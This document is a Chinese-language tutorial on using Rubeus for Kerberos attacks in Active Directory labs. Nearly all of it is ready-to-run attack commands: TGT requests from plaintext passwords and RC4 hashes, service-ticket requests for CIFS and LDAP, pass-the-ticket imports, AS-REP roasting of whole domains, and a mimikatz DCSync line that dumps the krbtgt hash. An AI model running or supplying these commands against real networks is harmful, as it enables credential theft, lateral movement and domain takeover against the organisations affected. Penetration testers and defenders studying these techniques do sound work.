Rubeus使用

项目地址GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
Rubeus可以发起Kerberos请求,并将请求票据导入内存中,Rebeus提供了大量的用于Kerberos攻击的功能,比如

下面是一些常用的功能使用案例,完整的功能使用请看原项目

1. 申请TGT

Rubeus使用asktgt模块请求TGT,可以使用明文、密码哈希(DES加密和RC4加密)和AES Key(AES128和AES256)进行认证,可以将TGT以base64打印出来。也可以将TGT保存为文件,还可以将TGT导入内存中

asktgt模块有以下参数 中括号内的为可选参数

Note
  • user:USER 请求的用户名
  • </password:PASSWORD [/enctype:DES|RC4|AEX128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH>
  • [/domain:DOMAIN] 域名
  • [/dc:DOMAIN_CONTROLLER] 域控
  • [outfile:FILENAME] 输出的文件
  • [/ptt] 将票据导入内存中
  • [/luid] 将生成的票据用于指定的登录会话(需要管理员权限)
  • [/nowrap] 打印出的base64格式票据的显示格式更友好
  • [/nopac] 票据中不请求PAC

如果没有指定/domain参数,则默认使用主机当前所在的域,如果没有指定/dc参数 则使用DsGetDcName函数来获取主机当前所在域的域控

1.1. 明文密码请求

Rubeus支持使用明文密码请求TGT,使用administrator的明文密码请求TGT,命令如下:

# 明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt

# 明文密码申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt /outfile:ticket.kirbi

TGT导入内存后,就可以访问高权限服务了
1679467095679-a3f36ee8-34aa-4ee9-bec1-676fd220781a

1.2. 密码Hash请求

Rubeus也支持使用密码hash请求TGT。使用administrator的密码哈希请求TGT,命令如下

# 密码哈希申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /rc4:74520a4ec2626e3638066146a0d5ceae /enctype:RC4 /nowrap /ptt

# 密码哈希申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe asktgt /user:administrator /rc4:74520a4ec2626e3638066146a0d5ceae /enctype:RC4 /nowrap /ptt /outfile:ticket.kirbi

#完整版
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:245244f247f074475e75aba21cd3e692 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap /ptt

TGT导入内存后,即可以访问高权限服务
1679467596493-a66c5b67-205a-4941-b618-bd71b10c0591

2. 申请ST

Rubeus使用asktgs模块申请ST,需要提供一张TGT,提供的TGT可以是base64格式的也可以是kirbi结尾的票据文件。因此要先使用Rubeus请求一张TGT,然后再使用asktgs模块使用该TGT请求指定的服务的ST。可以将请求的ST以base64格式打印出来,也可以将ST保存为文件,也可以将ST直接导入内存中。

Note

asktgs模块有以下参数:

  • </ticket:Base64 | ticket:FILE.KIRBI> 票据文件
  • </service:SPN1,SPN2> 请求的服务
  • [/enctype:DES|RC4|AEX128|AES256] 加密类型
  • [/dc:DOMAIN_CONTROLLER] 域控
  • [/outfile:FILENAME] 输出的文件
  • [/ptt] 将票据导入到内存中
  • [/nowrap] 打印出的base64格式票据的显示格式更友好
  • </tgs:BASE64 | /tgs:FILE.KIRBI> 指定生成base64格式的票据还是票据文件

2.1. 请求TGT

首先使用Rubeus执行如下命令请求一张TGT

# 明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt

2.2. 请求ST

使用上一步请求的TGT即可请求指定服务的ST了

2.3. 请求CIFS的ST

# 请求范围跟owa.god.org 的CIFS的ST,并导入内存
Rubeus.exe asktgs /service:"cifs/owa.god.org" /nowrap /ptt/ticket:TGT票据的base64格式

1679469094530-52b749dd-39a3-4420-b925-46171ac985e2

2.4. 请求LDAP的ST

Rubeus.exe asktgs /service:"ldap/owa.god.org" /nowrap /ptt/ticket:TGT 票据的base64格式

mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt/csv" "exit"

没导入ST之前无法导出krbtgt用户哈希

1679469265365-c8ace120-7d49-4dc1-ac27-fcc44df11eb6

导入ST后就可以了
1679469529143-7606d732-8726-4a88-9ecd-bd8eae1ed2fc

3. Rubeus导入票据

Rubeus支持通过票据文件或base64格式的票据进行导入。除了Rubeus请求生成的base64票据还可以是其他工具生成的票据,只要是.kirbi为后缀的就可以

3.1. 导入base64格式的票据

如果请求票据的时候没有使用/ptt参数导入内存中,可以直接使用Rubeus导入请求的base64格式的票据,即可访问目标
请求TGT不导入内存中

Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap

使用以下命令将base64格式的票据导入内存中

Rubeus.exe ptt /ticket:上一步请求的TGT

3.2. 导入票据文件

导入Rubeus生成的票据文件
使用Rubeus生成的票据文件,并使用Rubeus导入票据文件

# 明文密码申请TGT,将票据保存为ticket.kirbi文件,不导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /outfile:ticket.kirbi

# 导入票据
Rubeus.exe ptt /ticket:ticket.kirbi

导入kekeo生成的票据文件

# 明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask /user:administrator /domain:god.org /password:P@ss1234

# 导入票据
Rubeus.exe ptt /ticket:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
#烘焙当前域中的所有用户
Rubeus.exe asreproast
  
#对特定 OU 中的所有用户进行烘焙,将哈希值保存到 Hashcat 格式的输出文件中:
Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outfile:C:\Temp\hashes.txt

#烘焙特定用户
Rubeus.exe asreproast /user:TestOU3user

#烘焙外部信任域中的所有用户
Rubeus.exe asreproast /domain:dev.testlab.local

#使用备用凭证在外部非信任域中烘焙用户
Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!"